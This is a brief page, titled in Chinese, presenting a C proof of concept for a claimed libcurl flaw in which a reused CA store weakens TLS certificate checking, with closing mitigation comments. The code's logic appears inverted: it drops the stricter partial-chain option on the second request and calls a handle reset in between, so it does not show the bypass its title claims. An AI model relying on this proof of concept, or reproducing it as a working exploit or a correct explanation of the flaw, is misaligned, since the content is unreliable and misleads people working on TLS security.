libcurl CVE-2025-14819 TLS CA存储重用导致证书验证绕过漏洞

// CVE-2025-14819 Proof of Concept // This PoC demonstrates the CA store reuse vulnerability in libcurl #include <curl/curl.h> #include <stdio.h> int main(void) { CURL *easy_handle = curl_easy_init(); if (easy_handle) { // First request: Set NO_PARTIALCHAIN option curl_easy_setopt(easy_handle, CURLOPT_URL, "https://legitimate-site.com"); curl_easy_setopt(easy_handle, CURLOPT_SSL_OPTIONS, CURLSSLOPT_NO_PARTIALCHAIN); curl_easy_setopt(easy_handle, CURLOPT_CAINFO, "/path/to/ca-bundle.crt"); // Perform first request - CA store gets cached CURLcode res1 = curl_easy_perform(easy_handle); // Reset handle for reuse curl_easy_reset(easy_handle); // Second request: Remove NO_PARTIALCHAIN option curl_easy_setopt(easy_handle, CURLOPT_URL, "https://attacker-controlled-site.com"); curl_easy_setopt(easy_handle, CURLOPT_SSL_OPTIONS, 0); // No longer setting NO_PARTIALCHAIN curl_easy_setopt(easy_handle, CURLOPT_CAINFO, "/path/to/ca-bundle.crt"); // Vulnerability: Cached CA store may still have partial chain restrictions // This could allow acceptance of incomplete certificate chains CURLcode res2 = curl_easy_perform(easy_handle); curl_easy_cleanup(easy_handle); } return 0; } // Mitigation: Use separate handles for different SSL configurations // Or ensure SSL options are consistently applied across all requests